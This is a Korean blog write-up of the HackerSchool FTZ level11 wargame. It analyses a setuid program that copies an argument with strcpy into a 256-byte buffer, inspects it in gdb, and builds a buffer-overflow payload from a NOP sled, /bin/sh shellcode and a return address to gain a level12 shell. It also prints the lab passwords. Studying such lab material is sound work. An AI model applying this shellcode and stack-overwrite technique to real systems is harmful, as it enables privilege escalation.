[ftz] hackerschool level11 풀이

hackerschool level11 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 9.0

참고 도서 : 문제 풀이로 배우는 시스템 해킹 테크닉

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **

 


 

 

login as: level11
level11@192.168.31.128's password:

 

 

 

level11 문제의 아이디인  level11 와 password인   what!@#$? 을 입력하여 level11의 유저로 접속합니다.

 

 

 

[level11@ftz level11]$ ls -l
total 28
-rwsr-x---    1 level12  level11     13733 Mar  8  2003 attackme
-rw-r-----    1 root     level11       168 Mar  8  2003 hint
drwxr-xr-x    2 root     level11      4096 Feb 24  2002 public_html
drwxrwxr-x    2 root     level11      4096 Nov  2 05:45 tmp

 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/level11 ) 아래에 있는 디렉터리의 목록을 확인합니다.

목록들 중 hint 파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.

 

 

 

#include  <stdio.h>
#include  <stdlib.h>

int main( int argc, char *argv[] )
{
        char str[256];

        setreuid( 3092, 3092 );
        strcpy( str, argv[1] );
        printf( str );
}

 

 

 

cat 명령어를 사용하여 hint 파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.

 

strcpy를 보고 이 문제가 버퍼오버플로우를 이용한 문제라는 것을 알 수 있습니다.

 

 

 

[level11@ftz level11]$ cp attackme ./tmp/level11
[level11@ftz level11]$ ls -l tmp/level11
-rwxr-x---    1 level11  level11     13733 Nov  2 05:45 tmp/level11

 

 

 

문제를 풀기 전 퍼미션 문제 때문에 attackme 파일을 tmp 폴더 안에 복사하도록 하겠습니다.

 

 

 

[level11@ftz tmp]$ gdb level11 
...
(gdb) disas main 
Dump of assembler code for function main: 
0x08048470 <main+0>:    push   %ebp 
0x08048471 <main+1>:    mov    %esp,%ebp 
0x08048473 <main+3>:    sub    $0x108,%esp 
0x08048479 <main+9>:    sub    $0x8,%esp 
0x0804847c <main+12>:   push   $0xc14 
0x08048481 <main+17>:   push   $0xc14 
0x08048486 <main+22>:   call   0x804834c  <setreuid>
0x0804848b <main+27>:   add    $0x10,%esp 
0x0804848e <main+30>:   sub    $0x8,%esp 
0x08048491 <main+33>:   mov    0xc(%ebp),%eax 
0x08048494 <main+36>:   add    $0x4,%eax 
0x08048497 <main+39>:   pushl  (%eax) 
0x08048499 <main+41>:   lea    0xfffffef8(%ebp),%eax 
0x0804849f <main+47>:   push   %eax 
0x080484a0 <main+48>:   call   0x804835c  <strcpy>
0x080484a5 <main+53>:   add    $0x10,%esp 
0x080484a8 <main+56>:   sub    $0xc,%esp 
0x080484ab <main+59>:   lea    0xfffffef8(%ebp),%eax 
0x080484b1 <main+65>:   push   %eax 
0x080484b2 <main+66>:   call   0x804833c  <printf>
0x080484b7 <main+71>:   add    $0x10,%esp 
0x080484ba <main+74>:   leave 
0x080484bb <main+75>:   ret 
0x080484bc <main+76>:   nop 
0x080484bd <main+77>:   nop 
0x080484be <main+78>:   nop 
0x080484bf <main+79>:   nop 
End of assembler dump. 

 

 

 

level11 파일을 gdb로 분석해보도록 하겠습니다.
disas main 명령을 통해 main의 어셈블리 코드를 보겠습니다. 우리는 여기서 빨간색 부분을 집중해 보도록 할 것입니다.

 

 

1. 0x08048473 <main+3>:    sub    $0x108,%esp 0x08048479 <main+9>:    sub    $0x8,%esp 

첫 번째 부분인 sub $0x108, %esp와 sub %0x8 를 보면 총 264의 부분을 스택에 할당한 것을 알 수 있습니다. hint 코드상에서 str의 크기는 256바이트였기 때문에 264 - 256을 한 8byte는 dummy 공간입니다.

 

 

2. 0x080484a0 <main+48>:   call   0x804835c  <strcpy>

두 번째 부분인 strcpy 부분을 보면 위의 push 두 부분이 strcpy의 인자 값으로 들어가는 것이고, hint 코드와 반대로 argv[1]이 stack에 먼저 들어가고, 그 뒤 str이 들어가므로 esp - 0xffffffef8을 2의 보수 한 값이 str의 위치라는 것을 알 수 있습니다.

 

앞의 ffffff은 1의 보수를 취하면 결국 다 0으로 되므로 뒤의 ef8만 가지고 2의 보수 결과를 보겠습니다.

111011111000 => 000100000111 => 000100001000 => 256 + 8 = 264

str의 시작 지점이 esp - 264부터인 것을 알 수 있습니다. 

 

 

메모리 구조를 보면 아래와 같습니다.

 

 

 

 

뒤에서 argv를 이용하기 때문에 argv까지 표시해주었습니다.

 

 

 

(gdb) b *main+53
Breakpoint 1 at 0x80484a5
(gdb) r `python -c 'print "A"*256'`
Starting program: /home/level11/tmp/level11 `python -c 'print "A"*256'`

Breakpoint 1, 0x080484a5 in main ()

(gdb) x/100x $esp
0xbffff640:     0xbffff650      0xbffffb38      0xbffff670      0x00000001
0xbffff650:     0x41414141      0x41414141      0x41414141      0x41414141

 

 

 

strcpy까지의 결과를 확인하기 위해 strcpy 다음 라인인 main+53에 breakpoint를 걸도록 하겠습니다.

x/100x $esp 명령을 통해 esp를 기준으로 스택영역의 내용을 볼 수 있습니다.

확인해보면 A가 채워지는 지점이 0xbffff650이라는 것을 알 수 있습니다. 그럼 이제 아래의 방식대로 문제를 풀어보도록 하겠습니다.

 

 

위의 메모리 구조를 보면 ret 전까지 총 268byte가 있습니다. 그 268byte 안에 25byte 셸 코드와  나머지를 \x90을 넣어서 채운 뒤 ret 주소에 str 시작 지점을 넣어 str로 다시 리턴되게 만들도록 하겠습니다. 리턴 코드의 경우 리틀 앤디안 방식으로 넣어주어야 합니다. 

 

 

리틀 앤디안 방식으로 넣어준다는 것은 0xbffff650으로 예를 들자면 \x50\xf6\xff\xbf의 순서대로 넣어준다는 의미입니다.

 

 

셸 코드

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89

\xe1\x89\xc2\xb0\x0b\xcd\x80

 

 

 

 

[level11@ftz level11]$ ./attackme `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x
80"+"\x90"*143+"\x50\xf6\xff\xbf"'`
Segmentation fault

 

 

 

페이로드를 위와 같이 짰습니다. 100byte는 아무 의미 없는 \x90으로 채우고 25byte를 셸 코드로 채웠습니다. 그리고 268 - 125를 했을 때의 남은 byte를 다시 의미 없는 \x90으로 채운 뒤 return 부분에 방금 알아냈던 str의 시작 지점을 넣어주었습니다. 하지만 결과는 segmentation fault에러가 뜨게 됩니다. 

 

 

그 이유는 gdb를 실행해서 run을 할 때마다 str의 시작지점이 바뀌기 때문입니다. 그래서 다른 방법을 생각해보았습니다. hint 코드를 보면 argv[ ]를 이용해서 문자를 입력받고, argv[1]의 값을 str에 넣는 것을 볼 수 있습니다.

 

 

페이로드를 보면 ./attackme가 argv[0]을 나타내고 그 뒤의 'python ~ ' 부분이 argv[1]을 나타내기 때문에 똑같이 페이로드를 구성하되 return 주소를 argv[1]의 시작 주소를 넣어주면 되지 않을까 싶었습니다. 다시 gdb로 돌아가서 앞에서와 똑같은 방식대로 main+53에 breakpoint를 걸고, r `python -c 'print "A"*256'`으로 실행해보았습니다.

 

 

 

0xbffffae0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffaf0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffb00:     0x00000000      0x00000000     0x00000000      0x00000000
0xbffffb10:     0x00000000      0x00000000     0x38366900      0x682f0036
0xbffffb20:     0x2f656d6f      0x6576656c       0x2f31316c      0x2f706d74
0xbffffb30:     0x6576656c      0x0031316c      0x41414141      0x41414141
0xbffffb40:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb50:     0x41414141      0x41414141      0x41414141      0x41414141

 

 

 

0x00000000로 반복되다가 0x41414141이 시작되는 지점이 있습니다. 저 부분이 바로 argv[1]의 시작 지점입니다. gdb에서 보이는 argv[1]의 시작 지점은 0xbffffb38이고 이제 이 주소를 가지고 페이로드를 구성해 실행해보도록 하겠습니다.

 

처음 구성했던 페이로드에 return 주소만 0xbffffb38로 바꾸어 실행해주었고, 그 결과 level12의 셸을 취득할 수 있었습니다.

 

 

 

[level11@ftz level11]$ ./attackme `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x
80"+"\x90"*143+"\x38\xfb\xff\xbf"'`
sh-2.05b$ id
uid=3092(level12) gid=3091(level11) groups=3091(level11)

 

 

 

그리고 my-pass를 입력하게 되면 level12의 패스워드가 나오게 됩니다.

 

 

 

 

level12 비밀번호

더보기

Level12 Password is "it is like this".

 

'보안 > HackerSchool-ftz' 카테고리의 다른 글

[ftz] hackerschool level13 풀이  (0) 2019.11.21
[ftz] hackerschool level12 풀이  (0) 2019.11.16
[ftz] hackerschool level10 풀이  (0) 2019.11.13
[ftz] hackerschool level9 풀이  (0) 2019.11.11
[ftz] hackerschool level8 풀이  (0) 2019.11.09

이 글을 공유하기

댓글

Designed by JB FACTORY